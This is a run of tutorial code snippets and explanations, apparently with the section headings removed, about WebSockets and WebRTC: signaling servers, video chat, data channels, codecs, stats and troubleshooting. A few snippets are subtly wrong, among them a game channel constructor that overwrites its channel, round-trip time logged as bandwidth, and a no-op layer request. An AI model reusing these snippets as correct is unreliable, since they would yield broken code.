const buffer = new ArrayBuffer(8);
const view = new DataView(buffer);

view.setUint32(0, 12345);
view.setFloat32(4, 3.14);

socket.send(buffer);

// Receive binary
socket.binaryType = 'arraybuffer';

socket.onmessage = (event) => {
  if (event.data instanceof ArrayBuffer) {
    const view = new DataView(event.data);
    const num = view.getUint32(0);
    const float = view.getFloat32(4);
  }
};

// Server: Enable per-message deflate
const wss = new WebSocket.Server({
  server,
  perMessageDeflate: {
    zlibDeflateOptions: {
      chunkSize: 1024,
      memLevel: 7,
      level: 3
    },
    zlibInflateOptions: {
      chunkSize: 10 * 1024
    },
    clientNoContextTakeover: true,
    serverNoContextTakeover: true,
    serverMaxWindowBits: 10,
    concurrencyLimit: 10,
    threshold: 1024 // Compress only messages > 1KB
  }
});

// Chrome/Firefox DevTools
// Network tab → WS/Messages

// View frames
// - Sent (green arrow)
// - Received (red arrow)
// - Click to view content

// Console logging
const socket = new WebSocket('ws://localhost:8080');

socket.addEventListener('message', (event) => {
  console.log('%c⬇ Received', 'color: blue', event.data);
});

socket.send = new Proxy(socket.send, {
  apply(target, thisArg, args) {
    console.log('%c⬆ Sent', 'color: green', args[0]);
    return target.apply(thisArg, args);
  }
});

# wscat - WebSocket client
npm install -g wscat

# Connect to server
wscat -c ws://localhost:8080

# Send message
> {"type": "chat", "message": "Hello"}

# Listen for messages
< {"type": "message", "content": "Hi there"}

# WebSocket with headers
wscat -c ws://localhost:8080 -H "Authorization: Bearer token"

# Test wss:// with self-signed cert
wscat -c wss://localhost:443 -n

# websocat - More features
cargo install websocat

# Connect
websocat ws://localhost:8080

# Binary mode
websocat --binary ws://localhost:8080

# tcpdump - Capture WebSocket traffic
sudo tcpdump -i any -A 'tcp port 8080'

# Wireshark
# Filter: websocket
# Analyze → Decode As → WebSocket

Issue: Connection fails immediately
Causes:
- Wrong URL (ws:// vs wss://)
- Server not running
- Firewall blocking port
- CORS/Origin mismatch

Solution:
- Check server logs
- Verify URL and port
- Check browser console for errors
- Validate origin on server

Issue: Connection drops frequently
Causes:
- No heartbeat/ping
- Idle timeout
- Network issues
- Proxy timeout

Solution:
- Implement ping/pong
- Send periodic messages
- Reduce ping interval
- Use wss:// for better stability

Issue: Messages not received
Causes:
- Wrong readyState
- Connection closed
- Message too large
- Server not broadcasting

Solution:
- Check socket.readyState === OPEN
- Add message queuing
- Split large messages
- Verify server broadcast logic

Issue: High memory usage
Causes:
- Not closing connections
- Large message buffers
- Too many connections
- Memory leaks

Solution:
- Close unused connections
- Limit message size
- Set max connections
- Use heartbeat to detect dead connections

You: "Any new messages?" [wait for response]
Server: "No"

[1 second later]
You: "Any new messages?" [wait for response]
Server: "No"

[1 second later]
You: "Any new messages?" [wait for response]
Server: "Yes! Here's one"

Problem: Lots of wasted "letters" (requests)

You: "Hello!" [open connection]
Server: "Hi!" [connection open]

[Connection stays open]

Server: "New message for you!"
You: "Thanks! Here's my reply"
Server: "Got it!"
You: "Question?"
Server: "Answer!"

Connection stays open until you hang up

HTTP:
- Ask → Wait → Answer → Close
- Repeat every time
- Like knocking on door for each question

WebSocket:
- Open door once
- Walk in and stay
- Talk back and forth
- Like having a conversation

HTTP: Checking email every minute
WebSocket: Email app shows new mail instantly

HTTP: Refreshing page to see chat messages
WebSocket: Messages appear as sent

HTTP: Reloading dashboard for new data
WebSocket: Dashboard updates in real-time

1. Peer-to-Peer Communication
   - Direct browser-to-browser connections
   - Low latency (no server relay required*)
   - Reduced bandwidth costs

2. Media Support
   - Audio streaming
   - Video streaming
   - Screen sharing
   - Data channels for arbitrary data

3. Built-in Security
   - Mandatory encryption (DTLS, SRTP)
   - No unencrypted media transmission
   - Secure signaling required

4. NAT/Firewall Traversal
   - ICE protocol for connectivity
   - STUN for public address discovery
   - TURN as relay fallback

5. Adaptive Quality
   - Bandwidth estimation
   - Codec negotiation
   - Quality adjusts to network conditions

* Direct P2P when possible; TURN relay as fallback

┌─────────────────────────────────────────────────────────────┐
│                    WebRTC Application                        │
│  (JavaScript API in browser or native mobile app)           │
└────────────────────┬────────────────────────────────────────┘
                     │
     ┌───────────────┼───────────────┐
     │               │               │
     ▼               ▼               ▼
┌─────────┐   ┌──────────┐   ┌──────────┐
│  Media  │   │   Data   │   │ Signaling│
│ Streams │   │ Channels │   │ (Custom) │
└─────────┘   └──────────┘   └──────────┘
     │               │               │
     ▼               ▼               │
┌─────────────────────────┐         │
│   WebRTC Core APIs      │         │
│                         │         │
│ - getUserMedia()        │         │
│ - RTCPeerConnection     │         │
│ - RTCDataChannel        │         │
└─────────────────────────┘         │
     │                               │
     ▼                               │
┌─────────────────────────┐         │
│   ICE/STUN/TURN         │         │
│ (NAT Traversal)         │         │
└─────────────────────────┘         │
     │                               │
     └───────────────┬───────────────┘
                     │
                     ▼
           ┌──────────────────┐
           │   Network Layer   │
           │  (UDP/TCP/TLS)    │
           └──────────────────┘

// Basic usage
async function getLocalMedia() {
  try {
    const stream = await navigator.mediaDevices.getUserMedia({
      video: true,
      audio: true
    });

    // Display local video
    document.getElementById('localVideo').srcObject = stream;
    return stream;
  } catch (error) {
    console.error('Error accessing media devices:', error);
  }
}

// Advanced constraints
const constraints = {
  video: {
    width: { min: 640, ideal: 1280, max: 1920 },
    height: { min: 480, ideal: 720, max: 1080 },
    frameRate: { ideal: 30, max: 60 },
    facingMode: 'user' // or 'environment' for rear camera
  },
  audio: {
    echoCancellation: true,
    noiseSuppression: true,
    autoGainControl: true
  }
};

const stream = await navigator.mediaDevices.getUserMedia(constraints);

// List available devices
const devices = await navigator.mediaDevices.enumerateDevices();
devices.forEach(device => {
  console.log(`${device.kind}: ${device.label} (${device.deviceId})`);
});

// Screen sharing
const screenStream = await navigator.mediaDevices.getDisplayMedia({
  video: {
    cursor: 'always',
    displaySurface: 'monitor' // 'window', 'application', 'browser'
  },
  audio: false
});

// Create peer connection
const configuration = {
  iceServers: [
    { urls: 'stun:stun.l.google.com:19302' },
    { urls: 'stun:stun1.l.google.com:19302' },
    {
      urls: 'turn:turn.example.com:3478',
      username: 'user',
      credential: 'pass'
    }
  ],
  iceCandidatePoolSize: 10
};

const peerConnection = new RTCPeerConnection(configuration);

// Add local stream to connection
localStream.getTracks().forEach(track => {
  peerConnection.addTrack(track, localStream);
});

// Listen for remote stream
peerConnection.ontrack = (event) => {
  const remoteVideo = document.getElementById('remoteVideo');
  if (remoteVideo.srcObject !== event.streams[0]) {
    remoteVideo.srcObject = event.streams[0];
    console.log('Received remote stream');
  }
};

// Handle ICE candidates
peerConnection.onicecandidate = (event) => {
  if (event.candidate) {
    // Send candidate to remote peer via signaling
    sendToSignalingServer({
      type: 'ice-candidate',
      candidate: event.candidate
    });
  }
};

// Monitor connection state
peerConnection.onconnectionstatechange = () => {
  console.log('Connection state:', peerConnection.connectionState);
  // States: new, connecting, connected, disconnected, failed, closed
};

peerConnection.oniceconnectionstatechange = () => {
  console.log('ICE state:', peerConnection.iceConnectionState);
  // States: new, checking, connected, completed, failed, disconnected, closed
};

// Sender creates data channel
const dataChannel = peerConnection.createDataChannel('chat', {
  ordered: true,        // Guarantee order
  maxRetransmits: 3     // Retry failed messages 3 times
  // OR: maxPacketLifeTime: 3000  // Drop after 3 seconds
});

dataChannel.onopen = () => {
  console.log('Data channel opened');
  dataChannel.send('Hello!');
};

dataChannel.onmessage = (event) => {
  console.log('Received:', event.data);
};

dataChannel.onerror = (error) => {
  console.error('Data channel error:', error);
};

dataChannel.onclose = () => {
  console.log('Data channel closed');
};

// Receiver listens for data channel
peerConnection.ondatachannel = (event) => {
  const receiveChannel = event.channel;

  receiveChannel.onmessage = (event) => {
    console.log('Received:', event.data);
  };

  receiveChannel.onopen = () => {
    console.log('Receive channel opened');
  };
};

// Send different data types
dataChannel.send('Text message');
dataChannel.send(JSON.stringify({ type: 'chat', message: 'Hi' }));
dataChannel.send(new Uint8Array([1, 2, 3, 4])); // Binary
dataChannel.send(new Blob(['file content'])); // Blob

// Check buffered amount before sending large data
if (dataChannel.bufferedAmount === 0) {
  dataChannel.send(largeData);
}

// ============================================
// Caller (Initiator)
// ============================================

// 1. Create offer
const offer = await peerConnection.createOffer({
  offerToReceiveAudio: true,
  offerToReceiveVideo: true
});

// 2. Set local description
await peerConnection.setLocalDescription(offer);

// 3. Send offer to remote peer via signaling
sendToSignalingServer({
  type: 'offer',
  sdp: peerConnection.localDescription
});

// 4. Receive answer from signaling server
signalingSocket.on('answer', async (answer) => {
  await peerConnection.setRemoteDescription(
    new RTCSessionDescription(answer)
  );
});

// ============================================
// Callee (Responder)
// ============================================

// 1. Receive offer from signaling server
signalingSocket.on('offer', async (offer) => {
  // 2. Set remote description
  await peerConnection.setRemoteDescription(
    new RTCSessionDescription(offer)
  );

  // 3. Create answer
  const answer = await peerConnection.createAnswer();

  // 4. Set local description
  await peerConnection.setLocalDescription(answer);

  // 5. Send answer back via signaling
  sendToSignalingServer({
    type: 'answer',
    sdp: peerConnection.localDescription
  });
});

// ============================================
// Both Peers
// ============================================

// Handle ICE candidates
peerConnection.onicecandidate = (event) => {
  if (event.candidate) {
    sendToSignalingServer({
      type: 'ice-candidate',
      candidate: event.candidate
    });
  }
};

// Receive ICE candidates from signaling
signalingSocket.on('ice-candidate', async (candidate) => {
  try {
    await peerConnection.addIceCandidate(
      new RTCIceCandidate(candidate)
    );
  } catch (error) {
    console.error('Error adding ICE candidate:', error);
  }
});

Example SDP Offer:

v=0
o=- 123456789 2 IN IP4 127.0.0.1
s=-
t=0 0
a=group:BUNDLE 0 1
a=msid-semantic: WMS stream1

m=audio 9 UDP/TLS/RTP/SAVPF 111 103 104
c=IN IP4 0.0.0.0
a=rtcp:9 IN IP4 0.0.0.0
a=ice-ufrag:F7gI
a=ice-pwd:x9cml6RvRClHPcAy
a=ice-options:trickle
a=fingerprint:sha-256 8B:87:09:8A:5D:C2:...
a=setup:actpass
a=mid:0
a=sendrecv
a=rtcp-mux
a=rtpmap:111 opus/48000/2
a=rtpmap:103 ISAC/16000
a=rtpmap:104 ISAC/32000

m=video 9 UDP/TLS/RTP/SAVPF 96 97 98
c=IN IP4 0.0.0.0
a=rtcp:9 IN IP4 0.0.0.0
a=ice-ufrag:F7gI
a=ice-pwd:x9cml6RvRClHPcAy
a=ice-options:trickle
a=fingerprint:sha-256 8B:87:09:8A:5D:C2:...
a=setup:actpass
a=mid:1
a=sendrecv
a=rtcp-mux
a=rtpmap:96 VP8/90000
a=rtpmap:97 VP9/90000
a=rtpmap:98 H264/90000

Key Fields:
- v=0: SDP version
- m=: Media description (audio/video)
- c=: Connection information
- a=: Attributes (ICE, codecs, etc.)
- rtpmap: RTP payload mapping
- ice-ufrag/ice-pwd: ICE credentials
- fingerprint: DTLS certificate fingerprint

// Server
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 8080 });

const rooms = new Map(); // roomId -> Set of clients

wss.on('connection', (ws) => {
  console.log('Client connected');

  ws.on('message', (data) => {
    const message = JSON.parse(data);

    switch (message.type) {
      case 'join':
        // Join room
        if (!rooms.has(message.room)) {
          rooms.set(message.room, new Set());
        }
        rooms.get(message.room).add(ws);
        ws.room = message.room;

        // Notify others in room
        broadcast(message.room, ws, {
          type: 'user-joined',
          userId: message.userId
        });
        break;

      case 'offer':
      case 'answer':
      case 'ice-candidate':
        // Forward to specific peer or broadcast
        if (message.target) {
          sendToUser(message.target, message);
        } else {
          broadcast(ws.room, ws, message);
        }
        break;

      case 'leave':
        leaveRoom(ws);
        break;
    }
  });

  ws.on('close', () => {
    console.log('Client disconnected');
    leaveRoom(ws);
  });
});

function broadcast(room, sender, message) {
  if (!rooms.has(room)) return;

  rooms.get(room).forEach(client => {
    if (client !== sender && client.readyState === WebSocket.OPEN) {
      client.send(JSON.stringify(message));
    }
  });
}

function leaveRoom(ws) {
  if (ws.room && rooms.has(ws.room)) {
    rooms.get(ws.room).delete(ws);
    broadcast(ws.room, ws, {
      type: 'user-left',
      userId: ws.userId
    });
  }
}

console.log('Signaling server running on ws://localhost:8080');

// Client
class SignalingClient {
  constructor(url) {
    this.socket = new WebSocket(url);
    this.handlers = new Map();

    this.socket.onmessage = (event) => {
      const message = JSON.parse(event.data);
      const handler = this.handlers.get(message.type);
      if (handler) {
        handler(message);
      }
    };

    this.socket.onopen = () => {
      console.log('Signaling connected');
    };

    this.socket.onerror = (error) => {
      console.error('Signaling error:', error);
    };

    this.socket.onclose = () => {
      console.log('Signaling disconnected');
    };
  }

  on(type, handler) {
    this.handlers.set(type, handler);
  }

  send(message) {
    this.socket.send(JSON.stringify(message));
  }

  join(room, userId) {
    this.send({ type: 'join', room, userId });
  }

  sendOffer(offer, target) {
    this.send({ type: 'offer', sdp: offer, target });
  }

  sendAnswer(answer, target) {
    this.send({ type: 'answer', sdp: answer, target });
  }

  sendIceCandidate(candidate, target) {
    this.send({ type: 'ice-candidate', candidate, target });
  }
}

// Usage
const signaling = new SignalingClient('ws://localhost:8080');

signaling.on('offer', handleOffer);
signaling.on('answer', handleAnswer);
signaling.on('ice-candidate', handleIceCandidate);

signaling.join('room123', 'user1');

class WebRTCVideoChat {
  constructor(signalingUrl) {
    this.signaling = new SignalingClient(signalingUrl);
    this.peerConnection = null;
    this.localStream = null;

    this.setupSignaling();
  }

  setupSignaling() {
    this.signaling.on('offer', async (message) => {
      await this.handleOffer(message.sdp, message.sender);
    });

    this.signaling.on('answer', async (message) => {
      await this.handleAnswer(message.sdp);
    });

    this.signaling.on('ice-candidate', async (message) => {
      await this.handleIceCandidate(message.candidate);
    });

    this.signaling.on('user-joined', (message) => {
      console.log('User joined:', message.userId);
      // Initiate call if you're the caller
    });
  }

  async start(localVideoElement, remoteVideoElement) {
    // Get local media
    this.localStream = await navigator.mediaDevices.getUserMedia({
      video: { width: 1280, height: 720 },
      audio: true
    });

    localVideoElement.srcObject = this.localStream;

    // Create peer connection
    this.peerConnection = new RTCPeerConnection({
      iceServers: [
        { urls: 'stun:stun.l.google.com:19302' }
      ]
    });

    // Add local stream
    this.localStream.getTracks().forEach(track => {
      this.peerConnection.addTrack(track, this.localStream);
    });

    // Handle remote stream
    this.peerConnection.ontrack = (event) => {
      remoteVideoElement.srcObject = event.streams[0];
    };

    // Handle ICE candidates
    this.peerConnection.onicecandidate = (event) => {
      if (event.candidate) {
        this.signaling.sendIceCandidate(event.candidate);
      }
    };

    // Monitor connection
    this.peerConnection.onconnectionstatechange = () => {
      console.log('Connection state:',
        this.peerConnection.connectionState);
    };
  }

  async call() {
    // Create and send offer
    const offer = await this.peerConnection.createOffer();
    await this.peerConnection.setLocalDescription(offer);
    this.signaling.sendOffer(offer);
  }

  async handleOffer(offer, sender) {
    await this.peerConnection.setRemoteDescription(
      new RTCSessionDescription(offer)
    );

    const answer = await this.peerConnection.createAnswer();
    await this.peerConnection.setLocalDescription(answer);

    this.signaling.sendAnswer(answer, sender);
  }

  async handleAnswer(answer) {
    await this.peerConnection.setRemoteDescription(
      new RTCSessionDescription(answer)
    );
  }

  async handleIceCandidate(candidate) {
    await this.peerConnection.addIceCandidate(
      new RTCIceCandidate(candidate)
    );
  }

  hangup() {
    if (this.peerConnection) {
      this.peerConnection.close();
      this.peerConnection = null;
    }

    if (this.localStream) {
      this.localStream.getTracks().forEach(track => track.stop());
      this.localStream = null;
    }
  }

  toggleAudio() {
    const audioTrack = this.localStream.getAudioTracks()[0];
    audioTrack.enabled = !audioTrack.enabled;
    return audioTrack.enabled;
  }

  toggleVideo() {
    const videoTrack = this.localStream.getVideoTracks()[0];
    videoTrack.enabled = !videoTrack.enabled;
    return videoTrack.enabled;
  }
}

// Usage
const chat = new WebRTCVideoChat('ws://localhost:8080');

const localVideo = document.getElementById('localVideo');
const remoteVideo = document.getElementById('remoteVideo');

await chat.start(localVideo, remoteVideo);
chat.signaling.join('room123', 'user1');

// When ready to call
document.getElementById('callButton').onclick = () => chat.call();
document.getElementById('hangupButton').onclick = () => chat.hangup();
document.getElementById('muteButton').onclick = () => chat.toggleAudio();
document.getElementById('videoButton').onclick = () => chat.toggleVideo();

Opus (Preferred)
- Bitrate: 6-510 kbps
- Latency: 5-66.5 ms
- Best quality and efficiency
- Supports stereo and mono
- Adaptive bitrate

G.711 (PCMU/PCMA)
- Bitrate: 64 kbps
- Latency: Low
- Widely supported
- Lower quality than Opus

iSAC
- Bitrate: 10-32 kbps
- Adaptive bitrate
- Good for low bandwidth

iLBC
- Bitrate: 13.33 or 15.2 kbps
- Packet loss resilience
- Voice only

VP8 (Mandatory in WebRTC)
- Open source
- Good quality
- Hardware acceleration common
- Bitrate: 100-2000 kbps typically

VP9 (Better than VP8)
- 50% better compression than VP8
- Supports 4K
- Lower bandwidth usage
- Newer, less hardware support

H.264 (Most compatible)
- Patent-encumbered
- Excellent hardware support
- Multiple profiles (Baseline, Main, High)
- Most widely supported

AV1 (Future)
- Best compression
- Open source
- Still emerging
- Limited hardware support

// Prefer specific codec
function preferCodec(sdp, codecName) {
  const lines = sdp.split('\n');
  const mLineIndex = lines.findIndex(line => line.startsWith('m=video'));
  if (mLineIndex === -1) return sdp;

  const codecRegex = new RegExp(`rtpmap:(\\d+) ${codecName}`, 'i');
  const codecPayload = lines
    .find(line => codecRegex.test(line))
    ?.match(codecRegex)?.[1];

  if (!codecPayload) return sdp;

  const mLine = lines[mLineIndex].split(' ');
  const codecs = mLine.slice(3);

  // Move preferred codec to front
  const newCodecs = [
    codecPayload,
    ...codecs.filter(c => c !== codecPayload)
  ];

  mLine.splice(3, codecs.length, ...newCodecs);
  lines[mLineIndex] = mLine.join(' ');

  return lines.join('\n');
}

// Usage
const offer = await peerConnection.createOffer();
offer.sdp = preferCodec(offer.sdp, 'VP9');
await peerConnection.setLocalDescription(offer);

// Monitor bandwidth
peerConnection.getStats().then(stats => {
  stats.forEach(report => {
    if (report.type === 'candidate-pair' && report.state === 'succeeded') {
      console.log('Available bandwidth:',
        report.availableOutgoingBitrate);
      console.log('Current bandwidth:',
        report.currentRoundTripTime);
    }

    if (report.type === 'inbound-rtp' && report.mediaType === 'video') {
      console.log('Bytes received:', report.bytesReceived);
      console.log('Packets lost:', report.packetsLost);
      console.log('Jitter:', report.jitter);
    }
  });
});

// Periodic monitoring
setInterval(async () => {
  const stats = await peerConnection.getStats();
  analyzeStats(stats);
}, 1000);

// Sender: Send multiple resolutions
const sender = peerConnection
  .getSenders()
  .find(s => s.track.kind === 'video');

const parameters = sender.getParameters();
if (!parameters.encodings) {
  parameters.encodings = [
    { rid: 'h', maxBitrate: 1500000 },  // High quality
    { rid: 'm', maxBitrate: 600000, scaleResolutionDownBy: 2 },  // Medium
    { rid: 'l', maxBitrate: 200000, scaleResolutionDownBy: 4 }   // Low
  ];
}

await sender.setParameters(parameters);

// Receiver: Select layer
const receiver = peerConnection
  .getReceivers()
  .find(r => r.track.kind === 'video');

// Request specific layer
receiver.getParameters().encodings = [
  { active: true, rid: 'm' }  // Request medium quality
];

async function setMaxBitrate(peerConnection, maxBitrate) {
  const sender = peerConnection
    .getSenders()
    .find(s => s.track.kind === 'video');

  const parameters = sender.getParameters();

  if (!parameters.encodings) {
    parameters.encodings = [{}];
  }

  parameters.encodings[0].maxBitrate = maxBitrate;

  await sender.setParameters(parameters);
  console.log(`Set max bitrate to ${maxBitrate} bps`);
}

// Usage
setMaxBitrate(peerConnection, 500000); // 500 kbps

class FileTransfer {
  constructor(dataChannel) {
    this.channel = dataChannel;
    this.chunkSize = 16384; // 16 KB chunks
  }

  async sendFile(file) {
    const arrayBuffer = await file.arrayBuffer();
    const totalChunks = Math.ceil(arrayBuffer.byteLength / this.chunkSize);

    // Send metadata
    this.channel.send(JSON.stringify({
      type: 'file-start',
      name: file.name,
      size: file.size,
      totalChunks: totalChunks
    }));

    // Send chunks
    for (let i = 0; i < totalChunks; i++) {
      const start = i * this.chunkSize;
      const end = Math.min(start + this.chunkSize, arrayBuffer.byteLength);
      const chunk = arrayBuffer.slice(start, end);

      // Wait if buffer is filling up
      while (this.channel.bufferedAmount > this.chunkSize * 10) {
        await new Promise(resolve => setTimeout(resolve, 10));
      }

      this.channel.send(chunk);

      // Progress update
      const progress = ((i + 1) / totalChunks * 100).toFixed(1);
      console.log(`Sending: ${progress}%`);
    }

    // Send completion
    this.channel.send(JSON.stringify({ type: 'file-end' }));
  }

  receiveFile(onProgress, onComplete) {
    const chunks = [];
    let metadata = null;

    this.channel.onmessage = (event) => {
      if (typeof event.data === 'string') {
        const message = JSON.parse(event.data);

        if (message.type === 'file-start') {
          metadata = message;
          chunks.length = 0;
        } else if (message.type === 'file-end') {
          const blob = new Blob(chunks);
          onComplete(blob, metadata);
        }
      } else {
        // Binary chunk
        chunks.push(event.data);

        if (metadata) {
          const progress = (chunks.length / metadata.totalChunks * 100)
            .toFixed(1);
          onProgress(progress);
        }
      }
    };
  }
}

// Usage
const fileTransfer = new FileTransfer(dataChannel);

// Sender
document.getElementById('fileInput').onchange = async (e) => {
  const file = e.target.files[0];
  await fileTransfer.sendFile(file);
};

// Receiver
fileTransfer.receiveFile(
  (progress) => console.log(`Receiving: ${progress}%`),
  (blob, metadata) => {
    const url = URL.createObjectURL(blob);
    const a = document.createElement('a');
    a.href = url;
    a.download = metadata.name;
    a.click();
  }
);

class GameDataChannel {
  constructor(dataChannel) {
    this.channel = dataChannel;
    this.channel.binaryType = 'arraybuffer';

    // Unreliable, unordered for low latency
    this.channel = peerConnection.createDataChannel('game', {
      ordered: false,
      maxRetransmits: 0
    });
  }

  sendPlayerPosition(x, y, angle) {
    const buffer = new ArrayBuffer(12);
    const view = new DataView(buffer);

    view.setFloat32(0, x, true);
    view.setFloat32(4, y, true);
    view.setFloat32(8, angle, true);

    this.channel.send(buffer);
  }

  onPlayerPosition(callback) {
    this.channel.onmessage = (event) => {
      const view = new DataView(event.data);

      const x = view.getFloat32(0, true);
      const y = view.getFloat32(4, true);
      const angle = view.getFloat32(8, true);

      callback(x, y, angle);
    };
  }
}

// Usage
const gameChannel = new GameDataChannel(dataChannel);

// Send position 60 times per second
setInterval(() => {
  gameChannel.sendPlayerPosition(
    player.x,
    player.y,
    player.angle
  );
}, 1000 / 60);

gameChannel.onPlayerPosition((x, y, angle) => {
  updateRemotePlayer(x, y, angle);
});

WebRTC Security Stack:

Application Data
       ↓
SRTP (Secure RTP)
  - Encrypts media (audio/video)
  - AES encryption
  - HMAC authentication
       ↓
DTLS (Datagram TLS)
  - Encrypts data channels
  - Key exchange for SRTP
  - Certificate verification
       ↓
UDP/TCP Transport

All WebRTC traffic is encrypted!
No option for unencrypted communication.

// Verify peer certificate fingerprint
peerConnection.onicecandidate = (event) => {
  if (event.candidate === null) {
    // Get local certificate
    peerConnection.getConfiguration().certificates.forEach(cert => {
      cert.getFingerprints().forEach(fingerprint => {
        console.log('Local fingerprint:', fingerprint);
        // Send to peer via secure signaling
        // Peer should verify this matches SDP
      });
    });
  }
};

// Check SDP fingerprint matches expected
function verifySdpFingerprint(sdp, expectedFingerprint) {
  const fingerprintMatch = sdp.match(/a=fingerprint:(\S+) (\S+)/);
  if (!fingerprintMatch) {
    throw new Error('No fingerprint in SDP');
  }

  const [, algorithm, fingerprint] = fingerprintMatch;

  if (fingerprint !== expectedFingerprint) {
    throw new Error('Fingerprint mismatch! Possible MITM attack.');
  }

  return true;
}

1. Secure Signaling
   - Use TLS/WSS for signaling
   - Authenticate users
   - Verify peer identity

2. Certificate Pinning
   - Verify SDP fingerprints
   - Out-of-band verification if possible

3. Access Control
   - Verify room/session authorization
   - Implement user authentication
   - Rate limiting

4. Media Permissions
   - Request minimal permissions
   - Explain why access is needed
   - Allow users to deny

5. Privacy
   - Minimize data collection
   - No recording without consent
   - Clear privacy policy

6. Network Security
   - Use TURN with authentication
   - Restrict TURN access
   - Monitor for abuse

// Chrome: Enable WebRTC internals
// Navigate to: chrome://webrtc-internals

// Firefox: Enable logging
// Navigate to: about:webrtc

// Console logging
peerConnection.addEventListener('track', e => {
  console.log('Track event:', e);
});

peerConnection.addEventListener('icecandidate', e => {
  console.log('ICE candidate:', e.candidate);
});

peerConnection.addEventListener('icecandidateerror', e => {
  console.error('ICE candidate error:', e);
});

peerConnection.addEventListener('connectionstatechange', e => {
  console.log('Connection state:', peerConnection.connectionState);
});

peerConnection.addEventListener('iceconnectionstatechange', e => {
  console.log('ICE connection state:',
    peerConnection.iceConnectionState);
});

async function getDetailedStats(peerConnection) {
  const stats = await peerConnection.getStats();
  const report = {};

  stats.forEach(stat => {
    if (stat.type === 'inbound-rtp' && stat.kind === 'video') {
      report.video = {
        bytesReceived: stat.bytesReceived,
        packetsReceived: stat.packetsReceived,
        packetsLost: stat.packetsLost,
        jitter: stat.jitter,
        frameWidth: stat.frameWidth,
        frameHeight: stat.frameHeight,
        framesPerSecond: stat.framesPerSecond,
        framesDecoded: stat.framesDecoded,
        framesDropped: stat.framesDropped
      };
    }

    if (stat.type === 'inbound-rtp' && stat.kind === 'audio') {
      report.audio = {
        bytesReceived: stat.bytesReceived,
        packetsReceived: stat.packetsReceived,
        packetsLost: stat.packetsLost,
        jitter: stat.jitter,
        audioLevel: stat.audioLevel
      };
    }

    if (stat.type === 'candidate-pair' && stat.state === 'succeeded') {
      report.connection = {
        localCandidateType: stat.localCandidateType,
        remoteCandidateType: stat.remoteCandidateType,
        currentRoundTripTime: stat.currentRoundTripTime,
        availableOutgoingBitrate: stat.availableOutgoingBitrate,
        bytesReceived: stat.bytesReceived,
        bytesSent: stat.bytesSent
      };
    }
  });

  return report;
}

// Monitor every second
setInterval(async () => {
  const stats = await getDetailedStats(peerConnection);
  console.table(stats);
}, 1000);

Issue: ICE connection fails
Solutions:
- Check STUN/TURN server configuration
- Verify firewall allows UDP traffic
- Add TURN server as fallback
- Check ICE candidate gathering

Issue: No video/audio
Solutions:
- Verify getUserMedia constraints
- Check browser permissions
- Verify tracks added to peer connection
- Check ontrack event handler

Issue: One-way audio/video
Solutions:
- Verify both peers add tracks
- Check SDP offer/answer exchange
- Verify both peers handle ontrack
- Check NAT/firewall rules

Issue: Poor quality
Solutions:
- Reduce resolution/bitrate
- Enable simulcast
- Check network bandwidth
- Monitor packet loss
- Verify codec support

Issue: High latency
Solutions:
- Use TURN server closer to users
- Enable unreliable data channels for gaming
- Reduce buffering
- Optimize codec settings

Desktop Browsers:
✓ Chrome 23+
✓ Firefox 22+
✓ Safari 11+
✓ Edge 79+ (Chromium-based)
✓ Opera 18+

Mobile Browsers:
✓ Chrome Android 28+
✓ Firefox Android 24+
✓ Safari iOS 11+
✓ Samsung Internet 4+

Feature Support:
- getUserMedia: All modern browsers
- RTCPeerConnection: All modern browsers
- RTCDataChannel: All modern browsers
- Screen sharing: Desktop only (most browsers)
- VP9 codec: Chrome, Firefox, Edge
- H.264 codec: All browsers (licensing)

Check: https://caniuse.com/rtcpeerconnection

// 1. Reuse peer connections
const peerConnections = new Map();

function getOrCreatePeerConnection(peerId) {
  if (!peerConnections.has(peerId)) {
    peerConnections.set(peerId, createPeerConnection());
  }
  return peerConnections.get(peerId);
}

// 2. Batch ICE candidates (trickle ICE)
const pendingCandidates = [];

peerConnection.onicecandidate = (event) => {
  if (event.candidate) {
    pendingCandidates.push(event.candidate);

    // Send in batches
    if (pendingCandidates.length >= 5) {
      signaling.send({
        type: 'ice-candidates',
        candidates: pendingCandidates.splice(0)
      });
    }
  }
};

// 3. Use efficient codecs
// VP9 or H.264 for video, Opus for audio

// 4. Enable hardware acceleration
// Automatic in most browsers

// 5. Limit resolution based on network
async function adaptToNetwork(peerConnection) {
  const stats = await peerConnection.getStats();
  // Analyze and adjust bitrate/resolution
}

// 6. Use object fit for video elements
<video style="object-fit: cover;" />

// 7. Clean up resources
function cleanup() {
  localStream?.getTracks().forEach(track => track.stop());
  peerConnection?.close();
  dataChannel?.close();
}

Your Browser → Server → Friend's Browser
- Everything goes through server
- Server sees all your data
- Costs more (server bandwidth)
- Higher latency

Your Browser ←→ Friend's Browser
- Direct connection (peer-to-peer)
- Server only introduces you
- Private (server can't see)
- Faster (no middleman)

1. Get Permission
   "Can I use your camera and microphone?"

2. Signaling (Meeting)
   Server: "Hey Browser A, meet Browser B"
   Exchange: "Here's how to reach me"

3. ICE/STUN (Finding the Path)
   "What's my public address?"
   "Can we connect directly?"

4. Connection!
   Direct video/audio/data
   Encrypted automatically

5. If Direct Fails
   TURN server relays traffic
   Still encrypted

Traditional: Passing notes through teacher
WebRTC: Sitting next to friend and talking
Signaling: Teacher introduces you
STUN: Finding where each person sits
TURN: Using walkie-talkies if too far

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|V=2|P|X|  CC   |M|     PT      |       Sequence Number         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           Timestamp                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           Synchronization Source (SSRC) Identifier            |
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|            Contributing Source (CSRC) Identifiers             |
|                             ....                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                   Header Extension (optional)                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            Payload                            |
|                             ....                              |
